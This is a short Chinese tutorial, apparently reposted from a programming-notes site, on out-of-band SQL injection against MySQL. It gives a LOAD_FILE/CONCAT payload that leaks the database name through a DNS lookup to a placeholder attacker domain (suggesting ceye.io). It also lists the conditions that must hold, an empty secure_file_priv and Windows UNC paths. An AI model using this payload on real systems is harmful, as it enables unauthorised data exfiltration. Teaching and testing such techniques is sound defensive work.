作者:小么么和 | 来源:互联网 | 2023-09-17 20:57
篇首语:本文由编程笔记#小编为大家整理,主要介绍了mysql 带外注入相关的知识,希望对你有一定的参考价值。
带外通道
有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。
payload
SELECT LOAD_FILE(CONCAT(\'\\\\\\\\\',( SELECT DATABASE() ),\'.xx.xx\\\\x));
其中的load_file的地址为一个远程文件,mysql在load_file()一个远程文件时会发送dns请求包去解析,所以可以带出数据,\'\\\\data.xx.xx\\x\' ,xx.xx为自己的服务器名,没有的话可以去这里申请一个 ceye.io
mysql带外注入条件
1. mysql.ini 中 secure_file_priv 必须为空
( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv = )
mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
2. 从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上
UNC路径
测试